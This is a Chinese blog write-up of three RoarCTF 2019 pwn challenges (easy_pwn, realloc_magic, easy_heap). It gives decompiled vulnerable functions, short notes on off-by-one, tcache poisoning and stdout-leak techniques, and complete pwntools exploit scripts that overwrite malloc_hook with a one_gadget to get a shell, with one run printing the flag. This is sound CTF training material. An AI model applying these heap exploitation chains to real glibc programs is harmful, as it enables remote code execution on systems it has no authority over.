Roarctf 几道pwn 复现

1、easy_pwn

  可以利用的点:

  

__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
  __int64 result; // rax

  if ( a1 > (signed int)a2 )
    return a2;
  if ( a2 - a1 == 10 )
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return (unsigned int)result;
}

然后 覆盖了 下一个chunk的 size ,然后就是 像之前的0ctf2017的babyheap程序

具体可以参考这里

https://bbs.pediy.com/thread-246786.htm

payload:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = ‘debug‘
host = "192.168.244.153"
port = 8888
#r = process("")
r = remote(host,port)

def add(size):
    r.recvuntil("choice: ")
    r.sendline(str(1))
    r.recvuntil("size: ")
    r.sendline(str(size))

def edit(index,size,content):
    r.recvuntil("choice: ")
    r.sendline(str(2))
    r.recvuntil("index: ")
    r.sendline(str(index))
    r.recvuntil("size: ")
    r.sendline(str(size))
    r.recvuntil("content: ")
    r.sendline(content)

def free(index):
    r.recvuntil("choice: ")
    r.sendline(str(3))
    r.recvuntil("index: ")
    r.sendline(str(index))

def show(index):
    r.recvuntil("choice: ")
    r.sendline(str(4))
    r.recvuntil("index: ")
    r.sendline(str(index))

add(0x68)#0
add(0x68)#1
add(0x68)#2
add(0x68)#3
add(0x68)#4
add(0x68)#5
payload = ‘a‘*0x68+p8(0xe1)
edit(0,0x68+0xa,payload)
free(1)
add(0x68)#1
show(2)
r.recvuntil(": ")
leak = u64(r.recv(6).ljust(8,‘\x00‘))
libc = leak - 0x3c4b78
print "libc:"+hex(libc)
free_hook = libc +0x3c67a8
malloc_hook = libc +0x3c4b10
ong_a = libc + 0x4526a
realloc_hook = libc +0x846C0
payload = p64(malloc_hook -0x23)
add(0x60)#6
free(2)
edit(6,8,payload)
add(0x60)#2
add(0x60)#7
payload = ‘a‘*0xb+p64(ong_a)+p64(realloc_hook)
edit(7,len(payload),payload)
add(0x68)
r.interactive()

2、realloc_magic

  程序:

 

int fr()
{
  free(realloc_ptr);
  return puts("Done");
}
int ba()
{
  if ( lock )
    exit(-1);
  lock = 1;
  realloc_ptr = 0LL;
  return puts("Done");
}
int re()
{
  size_t size; // [rsp+Ch] [rbp-4h]

  puts("Size?");
  LODWORD(size) = get_int("Size?");
  realloc_ptr = realloc(realloc_ptr, (unsigned int)size);
  puts("Content?");
  read(0, realloc_ptr, (unsigned int)size);
  return puts("Done");
}

没有malloc ,这道题可以修改tcache的内容,因为tache 就在heap的最上面可以修改几个字节就星

首先 用double free  realloc到 tcache去和修改一个chunk的大小,然后free掉 jiu可以 放到unsortbin去接下来就去布局了 继续realloc 的话就会从unsortdbin上扣出来,好像是。。。

既然修改到tcache去,就可以修改tcache 的chunk,这样就可以修改一个tcache中的chunk 指向IO_2_1_stdin去。接下来在用666

接下来就常规操作

我就参考了两个wp

都实现了下

payload:

  

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import random
context.log_level = ‘debug‘
#host = "192.168.244.158"
host = ‘127.0.0.1‘
port = 8888
#r = process("")
r = remote(host,port)

def dele():
    r.recvuntil(">> ")
    r.sendline(str(2))

def realloc_(size,content):
    r.recvuntil(">> ")
    r.sendline(str(1))
    r.recvuntil("Size?")
    r.sendline(str(size))
    r.recvuntil("Content?")
    r.send(content)

def lock_666():
    r.recvuntil(">> ")
    r.sendline(str(666))

#realloc_(0x70,‘a‘)
#realloc_(0,‘‘)
#realloc_(0x100,‘a‘)
#realloc_(0,‘‘)
#realloc_(0xe0,‘a‘)
#realloc_(0,‘a‘)
#realloc_(0x100,‘a‘)
#[dele() for i in range(7)]
#realloc_(0x0,‘‘)
#realloc_(0x70,‘a‘)
#realloc_(0x180,chr(0)*0x78+p64(0x41)+p16(0x9760-0x43))
#realloc_(0,‘‘)
#realloc_(0x100,‘a‘)
#realloc_(0,‘‘)
#realloc_(0x100,‘a‘*0x43+p64(0xfbad1887) + p64(0) *3 + "\x00")
#leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,‘\x00‘))
#leak=u64(r.recv(6).rjust(8,‘\x00‘))
#print hex(leak)
#libc = leak - 0x3ed8b0
#lock_666()
#realloc_(0x70,‘a‘)
#realloc_(0,‘‘)
#realloc_(0x110,‘a‘)
#realloc_(0,‘‘)
#realloc_(0xf0,‘a‘)
#realloc_(0,‘a‘)
#realloc_(0x110,‘a‘)
#[dele() for i in range(7)]
#realloc_(0x0,‘‘)
#realloc_(0x70,‘a‘)
#realloc_(0x190,chr(0) * 0x78 + p64(0x41) + p64(libc + 0x3ed8e8))
#realloc_(0x0,‘‘)
#print hex(libc)
#realloc_(0x110,‘a‘)
#realloc_(0,‘‘)
#ong_g = libc + 0x4f322
#realloc_(0x110,p64(ong_g))
#r.sendline(str(2))

realloc_(0x28,‘a‘)
dele()
realloc_(0x68,‘n‘)
dele()
realloc_(0x18,‘n‘)
realloc_(0,‘‘)
realloc_(0x48,‘a‘)
dele()
realloc_(0,‘‘)
realloc_(0x68,‘a‘*0x18+p64(0x201)+p16(0x7010))
realloc_(0,‘‘)
realloc_(0x48,‘s‘)
realloc_(0,‘‘)
realloc_(0x48,‘\xff‘*0x38+p64(0x31))
realloc_(0x58, ‘a‘ * 0x18 + ‘ ‘ *0x20 + p64(0x41)+p64(0) +p16(0x7050))
realloc_(0,‘‘)
realloc_(0x28,p64(0)*4+p16(0x072d)+p8(0xdd))
realloc_(0,‘‘)
realloc_(0x58,‘a‘*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0))
leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,‘\x00‘))
print hex(leak)
libc = leak - 0x3ed8b0
#realloc_(0,‘‘)
#realloc_(0x1e8,p64(0)*4+p16(0x072d)+p8(0xdd))
#realloc_(0,‘‘)
#realloc_(0x58,‘a‘*0x13+p64(0xfbad3c80)+p64(0)*3+chr(0))
#result=r.recvn(8)
#realloc_(0x50,  ‘a‘ * 0x18 + ‘ ‘ * 0x20 + p64(0x201)+ p16(0x7060))
#realloc_(0,‘‘)
#realloc_(0x18,p64(0)+p64(0x1f1)+p16(0x072d)+p8(0xdd))
#realloc_(0,‘‘)
#realloc_(0x28,‘a‘)
#realloc_(0x1e8,‘a‘)
#realloc_(0x1e8,p16(0x072d)+p8(0xdd))
r.sendline(str(666))
realloc_(0x38,p64(0)+p64(libc+0x3ed8e8))
realloc_(0,‘‘)
ong_g = libc+0x4f322
realloc_(0x28,p64(ong_g))
r.sendline(‘2‘)
r.interactive()
#realloc_(0x50,‘p‘*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0))
#leak=u64(r.recvuntil("realloc")[9:9+6].ljust(8,‘\x00‘))
#print hex(leak)
r.interactive()

easy_heap:

  这道 只有show了一次就关了  stdou 和stderr

  所以  其实就是劫持 bss上的 ,然后可以修改,在bss上伪造一个 unsortbin ,然后释放 就有了libc的地址,但是要用 那个给的realloc的 卡住,就能泄露出来了

  我是在本地调试的。

payload:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level=‘debug‘
host = "192.168.244.158"
port = 8888

r = remote(host,port)

r.recvuntil("please input your username:")
r.sendline(‘yezi‘)
r.recvuntil("please input your info:")
r.sendline(‘lan‘)
def add2(size,content):
    sleep(0.1)
    r.sendline(str(1))
    sleep(0.1)
    r.send(str(size).ljust(8, ‘\x00‘))
    sleep(0.3)
    r.send(content)
def add(size,content):
    r.recvuntil(">> ")
    r.sendline(str(1))
    r.recvuntil("input the size")
    r.sendline(str(size))
    r.recvuntil("please input your content")
    r.sendline(content)
def free2():
    sleep(0.2)
    r.sendline(str(2))
def free():
    r.recvuntil(">> ")
    r.sendline(str(2))

def show():
    r.recvuntil(">> ")
    r.sendline(str(3))

def e_666(chosn,content):
    r.recvuntil(">> ")
    r.sendline(str(666))
    r.recvuntil("build or free?")
    if chosn == 1:
        r.sendline(str(1))
        r.recvuntil("please input your content")
        r.sendline(content)
    else:
        r.sendline(str(2))

add(0x50,‘a‘)#0
add(0x50,‘b‘)#1
add(0x50,‘c‘)#2
free()
free()
add(0x50,p64(0x602080))
add(0x50,‘a‘)
payload = 0xdeadbeefdeadbeef
add(0x50,p64(0)+p64(0x6020b0)+p64(payload)+p64(0)+p64(0)+p64(0xb1))
e_666(1,‘a‘)
[free() for i in range(7)]
add(0x70,‘a‘)
e_666(0,‘a‘)
add(0x8,‘aaaaaaa‘)
show()
r.recvuntil("\n")
libc = u64(r.recv(6).ljust(0x8,‘\x00‘)) -0x3ebd40
log.info(hex(libc))
malloc_hook = libc + 0x3ebc30
free_hook = libc +0x3ed8e8
system = libc +0x4f440
add2(0x40,‘aa‘)
free2()
free2()
add2(0x40,p64(malloc_hook-0x8))
add2(0x40,p64(malloc_hook-0x8))
#payload = p64(system)
payload = p64(libc+0x4f322)+p64(libc+0x98c30+9)
add2(0x40,payload)
add2(0x40,‘touch 1.txt|cat flag > 1.txt‘)
r.interactive()

  

参考:https://www.anquanke.com/post/id/188785#h3-6

原文地址:https://www.cnblogs.com/liyuechan/p/11747199.html

时间: 2024-10-19 01:05:16

Roarctf 几道pwn 复现的相关文章

2019CISCN华南线下两道web复现

原帖地址 : https://xz.aliyun.com/t/5558 2019CISCN华南线下的两个简单 web 部分题目下载地址,有的不完整 : 点我点我 web 1 考点 : 无参函数的 RCE 在注释中发现了 forgetpassword.php 页面 打开 forgetpassword.php,要求输入一个用户名,尝试用户名爆破,结果为 admin123 import requests url = "http://127.0.0.1/ciscn/web1/useri.php"

[RoarCTF 2019]simple_uplod

[TOC] [RoarCTF 2019]simple_uplod 题目复现链接:https://buuoj.cn/challenges 参考链接:官方wp 1.ThinkPHP文件上传 参考官方文档可知并没有题目中限制后缀名的方法,所以可以无视allowext http://document.thinkphp.cn/manual_3_2.html#upload 2.upload()多文件上传 upload()函数不传参时为多文件上传,整个$_FILES数组的文件都会上传保存. 题目中只限制了$_

RET2LIBC 练习(3) -- VIRTUALALLOC

国庆假期没事做了几道pwn题练手,等有时间在贴出pwn题的分析. 利用VIRTUALALLOC的方法绕过DEP其实和之前的方法大同小异了,只是VIRTUALALLOC开辟了一段新的可执行的内存空间,然后在复制shellcode,比修改内存属性要麻烦一点点. VirtualAlloc函数说明: lpAddress: 申请内存的起始地址,实验选了0x00030000 dwSize: 申请的内存大小,实验选择0XFF,根据shellcode的大小确定 flAllocationType: 申请内存的类型

刷题记录:[护网杯 2018]easy_laravel

参考链接:Laravel 相关几道题目复现 sql注入 username的sql注入,一眼就能看出来,但是admin的密码是加密过的,没法直接得到密码 public function index(Note $note) { $username = Auth::user()->name; $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'"); return view('note', com

PWN学习001

简介: PWN是CTF中的一种题目,利用溢出等等攻击手段达到入侵设备的一个简称,不必深究它到底是什么意思,学完下面这个网站上的几道题目,自然就懂了. 练习网站: http://pwnable.kr/play.php 打开网站第一题(fd). 看到有一个ssh [email protected] -p 2222 密码是:guest,我们先连接过去. 查看一下目录有什么内容,如下图,看到有三个文件,fd , fd.c , flag. 由权限可知道,我们不能读取flag文件,题目思路尝试执行fd,查看

测试架构师修炼之道:5 测试策略实战攻略

测试架构师修炼之道:5 测试策略实战攻略 2016-09-06 目录 1 开始2 初次使用“四步测试策略制定法”  2.1 产品质量等级  2.2 确定项目中各个特性的质量等级  2.3 对项目整体进行风险分析  2.4 确定测试策略的结构  2.5 初步确定测试分层  2.6 回顾3 制定总体测试策略  3.1 分解产品质量目标    1. 根据质量等级来分解产品的质量目标    2. 为每个测试分层确定测试目标  3.2 使用老功能分析法来对特性进行分类  3.3 基于质量和风险来确定测试深

《程序员修炼之道:从小工到专家》读书笔记

<程序员修炼之道>读书笔记 之所以选择这本书作为第一本书,是因为这本书描述了一些程序员编写大型项目时所应该遵循的最基本的原则和可以使用的最基本的工具.它没有描述某一种特定的语言.特定的算法,也没有推荐一种编程方法作为万灵药,而是介绍了实用主义的思想,并介绍了一整套方法论帮助程序员与团体避免错误.避免浪费无谓的时间,更有效地开发程序. 在此前的学习中,我所学习的知识往往是一个个点状的知识.学校安排了c语言.数据结构等课程,我自学过一点点cpp.python,甚至了解过一些web架构,但从来没有一

# 深入浅出爬虫之道: Python、Golang与GraphQuery的对比

深入浅出爬虫之道: Python.Golang与GraphQuery的对比 本文将分别使用 Python ,Golang 以及 GraphQuery 来解析某网站的 素材详情页面 ,这个页面的特色是具有清晰的数据结构,但是DOM结构不够规范,无法通过单独的选择器定位页面元素,对页面的解析造成了一些曲折.通过这个页面的解析过程,深入浅出的了解爬虫的解析思想与这些语言之间的异同. 深入浅出爬虫之道: Python.Golang与GraphQuery的对比 一.前言 1. 语义化的DOM结构 2. 稳

2019 安恒周周练西湖论剑特别版 pwn部分wp

pwn1 考点:构造 shellcode,patch 汇编指令 IDA 查看反汇编,程序的逻辑很简单如,如果 直接 f5 的话 IDA 可能识别不出来函数,问题出在 0x080484CF 这个地方,call eax 指令识别不出来,所以这里可以先 patch 成 nop,之后 f5 就正常了. 程序把输入当成 shellcode 直接来执行,很显然是直接往栈上写 shellcode 了.checksec 检查保护的时候也可以验证这一点. gdb-peda$ checksec CANARY : d